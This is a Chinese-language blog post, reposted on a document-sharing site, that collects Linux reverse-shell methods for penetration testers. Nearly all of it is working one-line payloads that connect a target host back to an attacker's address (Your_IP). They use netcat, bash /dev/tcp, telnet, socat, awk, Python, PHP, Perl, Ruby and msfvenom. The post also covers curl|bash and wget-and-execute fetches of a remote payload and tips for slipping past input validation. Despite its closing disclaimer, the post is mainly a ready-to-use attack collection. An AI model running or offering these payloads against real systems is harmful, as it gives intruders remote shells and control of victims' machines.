打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
反弹shell方式总结Linux篇
userphoto

2022.09.18 广东

关注

推荐一大佬的号:

概述在渗透测试中,常常需要反弹shell,才能打开内网渗透的通道,以及后续的权限维持。但是由于各种原因,并不是每一次反弹都是非常顺利。因此,本文总结并分析多种反弹shell的方式,希望帮助各位实战的师傅。

原理

首先,需要理解正向连接和反向连接,正向连接是指由客户端向服务端发起连接请求,而反向连接则是相反。在反弹shell (reverse shell) 中,由客户端监听指定的 TCP/UDP 端口,由服务端发起连接请求到该端口,建立起shell连接。与常见的 Telnet、ssh等shell相比,不同的是由服务端主动发起。

场景

那么,在什么样的渗透场景下需要用到反弹 shell?

由于防火墙等的控制访问策略,客户端无法访问服务端,但服务端可以向外网发起请求

IP会动态变化,攻击机无法直接连接

向局域网中的主机散播木马病毒等,网络环境未知的情况下

服务端的AV对正向连接的流量检测非常严格,但是对出网流量校验不足

在Linux和Windiows下,反弹shell的方式都有所不同,这里就分别展开叙述。

反弹方式

在不同的操作系统中,反弹shell的方式有所不同,这里就先总结Linux的反弹shell思路。

攻击过程:

客户端监听端口

nc -l 9999

在不同的反弹shell方式中,都需要客户端监听,下文将不再赘述,仅讲述不同的反弹方式

服务端执行反弹命令

Netcat

Netcat 是 Linux 系统下常用的网络工具,当然也有Windows版本,在 Linux 下使用命令 nc,前面的端口监听就是使用 Netcat

# 目标主机中执行的反弹命令

nc Your_IP Your_Port -e /bin/bash

Bash

# payload1

bash -i >& /dev/tcp/Your_IP/Your_Port 0>&1

# payload2

bash -c 'bash -i >& /dev/tcp/Your_IP/Your_Port 0>&1'

payload分析

Bash 是一个命令处理器,通常运行于文本窗口中,并能执行用户直接输入的命令。

bash -c

后加Linux命令,如:bash -c whoami

bash -i

产生一个bash交互环境

>&

将联合符号前面的内容与后面相结合,然后一起重定向给后者。

/dev/tcp/Your_IP/Your_Port

在Linux中,一切内容皆为文件,这里是与目标主机的指定端口建立一个TCP连接

0>&1

将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容首先,Bash生成一个交互环境,在与目标主机建立TCP连接,再重定向TCP连接,然后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,最后得到一个交互式的shell。

TelnetTelnet协议是TCP/IP协议族中的一员,是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。

方法一

攻击主机使用 nc 开启监听

目标主机触发mknod a p; telnet Your_IP Your_Port 0a

方法二

攻击机需要开启两个端口监听,一个用于输入命令,一个用于回显命令执行的结果

nc -l Your_cmd_Port

nc -l Your_result_Port

目标主机触发telnet Your_IP Your_cmd_Port | /bin/bash | telnet Your_IP Your_result_Port

此外,在一些工控设备中,常常由 telnetd 程序,也可以利用其来开启正向的shell

目标主机开启监听

telnetd -p Your_Port -l /bin/sh

攻击主机正向连接telnet Your_IP Your_Port

Socat

Socat是Linux 下一个多功能的网络工具,名字来由是”Socket CAT”,因此可以看出它是基于socket的,其功能与netcat类似,但功能比 netcat强大。

需要注意的是,Socat 并不是大多数Linux发行版本会预装的软件,但在 Ubuntu 中,是支持 apt-get直接安装的:

apt-get install socat

攻击主机开启监听,可以使用原来的nc,也可以一样使用 socatsocat TCP-LISTEN:2333 -

目标主机中触发

socat tcp-connect:Your_IP:Your_Port exec:'bash -li',pty,stderr,setsid,sigint,sane

awk

AWK 是一种处理文本文件的语言,是一个强大的文本分析工具。在众多的Linux发行版本中,都会预装这个应用程序。

攻击主机开启监听nc -l 9999

目标主机触发 payload

awk 'BEGIN{s='/inet/tcp/0/Your_IP/Your_Listening_Port';for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

Curl

在攻击主机上建立HTTP服务,同时将 payload 写进文件

# 新建payload

cd /tmp

echo 'bash -c 'bash -i >& /dev/tcp/Your_IP/Your_Port 0>&1'' > index.html

# 开启Web服务

python3 -m http.server 80

在攻击机上开启nc监听,跟前文提及的一样

在目标主机触发payload

curl http://Your_IP|bash

适用场景是绕过某些安全校验,如某个站点存在 rce,但是此时对用户的输入存在校验,导致无法直接使用payload,这里用 Curl 先将payload下载下来,再通过管道符号传递给 Bash 程序。

TIPS:此处的IP可以是任意的可解析格式,如十进制、十六进制等等,可参考 SSRF 中的IP过滤绕过

wget

服务端配置以及端口监听步骤,和 Curl 服务端完全一致

在目标主机触发payloadwget http://Your_IP -O /tmp/1.sh &&chmod 777 /tmp/1.sh && /tmp/1.sh

适用场景同 Curl。

脚本反弹shell

在渗透测试中,还能根据目标主机上具备的脚本运行环境,选择适用的脚本进行反弹shell。在不存在脚本环境的情况下,也能选择方便安装的环境进行安装。以上的 bash 反弹 shell payload,在环境允许的情况下,都可以替换成以下的脚本 payload。

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('Your_IP',Your_Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);'

PHPphp -r '$sock=fsockopen('Your_IP','Your_Port');exec('/bin/sh -i <&3 >&3 2>&3');'

Perl

perl -e 'use Socket;$i='Your_IP';$p=Your_Port;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/bash -i');};'

rubyruby -rsocket -e 'c=TCPSocket.new('Your_IP','Your_Port');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end'

Metasploit

Metasploit 是一个开源的框架,一套针对远程主机进行开发和执行 exploit代码 的工具。其中,就集成了反弹shell的工具 msfvenom。

# 1. 查询payload

msfvenom -l payloads | grep 'cmd/unix/reverse'

# 2. 生成反弹 shell 的 payload

msfvenom -p cmd/unix/reverse_python LHOST=Your_IP LPORT=Your_Port -f raw

# 3. 先开启监听,再将生成的payload在目标主机执行即可

Payload size: 517 bytes

python -c 'exec('aW1wb3J0IHNvY2tldCwgICAgc3VicHJvY2VzcywgICAgb3MgICAgIDsgICAgICAgIGhvc3Q9IjE5Mi4xNjguMS4xIiAgICAgOyAgICAgICAgcG9ydD04MDAwICAgICA7ICAgICAgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsICAgIHNvY2tldC5TT0NLX1NUUkVBTSkgICAgIDsgICAgICAgIHMuY29ubmVjdCgoaG9zdCwgICAgcG9ydCkpICAgICA7ICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksICAgIDApICAgICA7ICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksICAgIDEpICAgICA7ICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksICAgIDIpICAgICA7ICAgICAgICBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik='.decode('base64'))'

进行 Base64 解码后就会发现,生成的就是 Python中的 payload

总结

以上就是 Linux 中常见的反弹shell方式,希望能在渗透测试中,帮助各位师傅打开内网渗透测试的通道。除了 Linux 操作系统,在内网机器中,Windows主机也非常常见,下一篇将会总结 Windows 下常见的反弹 shell 方式。

声明

本文初衷为分享网络安全知识,请勿利用技术做出任何危害网络安全的行为,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,与SpaceSec安全团队及作者无关!

文章中部分学习内容来自于网络,回馈予网络,如涉及版权问题,请联系删除。

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
利用Metasploit进行Linux提权
linux反弹shell的各种姿势
linux学习书籍推荐linux学习书籍推荐
监控linux主机的shell脚本
linux的TCP连接数量最大不能超过65535个吗,那服务器是如何应对百万千万的并发的?
Linux测试工具tcpdump监视TCP/IP连接命令介绍
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服